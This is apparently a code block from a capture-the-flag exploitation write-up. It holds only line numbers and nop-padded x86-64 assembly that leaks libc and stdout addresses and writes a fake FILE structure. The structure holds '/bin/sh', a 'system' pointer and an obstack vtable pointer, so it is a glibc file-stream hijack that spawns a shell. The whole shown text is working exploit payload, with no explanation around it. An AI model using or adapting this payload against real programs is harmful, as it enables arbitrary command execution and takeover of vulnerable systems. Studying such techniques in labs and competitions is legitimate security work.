1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144
| mov rax,0x112000+0x3a040+32 nop mov rbx,[rax] nop nop nop nop mov rax,rbx mov rcx,0x112000-0xb00 nop mov rbx,[rcx] #libcaddr sub rax,0x112000-0xb00 #bufaddr nop nop nop add rbx,2209664 # stdout nop nop mov rdx,rbx nop nop sub rbx,rax nop nop mov rax,rdx # getoffset
add rdx,8 # mov [fakeio] mov rcx,0 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+8]='/bin/sh\x00' mov rdx,0x68732f6e69622f add rbx,8 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x10]='0' mov rdx,0 add rbx,0x10-8 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x18]='0' mov rdx,0 add rbx,0x18-0x10 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x20]='0' mov rdx,0 add rbx,0x20-0x18 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x28]=0x7fffffffffffffff mov rdx,0x7fffffffffffffff add rbx,0x28-0x20 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x30]=0 mov rdx,0 add rbx,0x30-0x28 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x38]=system mov rdx,rax nop nop sub rdx,1878544 add rbx,0x38-0x30 nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0x50]='0' mov rdx,0 add rbx,0x50-0x38 nop nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0xd8]=obstack mov rdx,rax nop sub rdx,17344+0x48 add rbx,0xd8-0x50 nop nop mov rcx,rbx nop mov [rcx],rdx
mov rcx,0 # mov [fakeio+0xe0]=fake_io mov rdx,rax nop add rbx,0xe0-0xd8 nop nop mov rcx,rbx nop mov [rcx],rdx
nop nop nop nop
|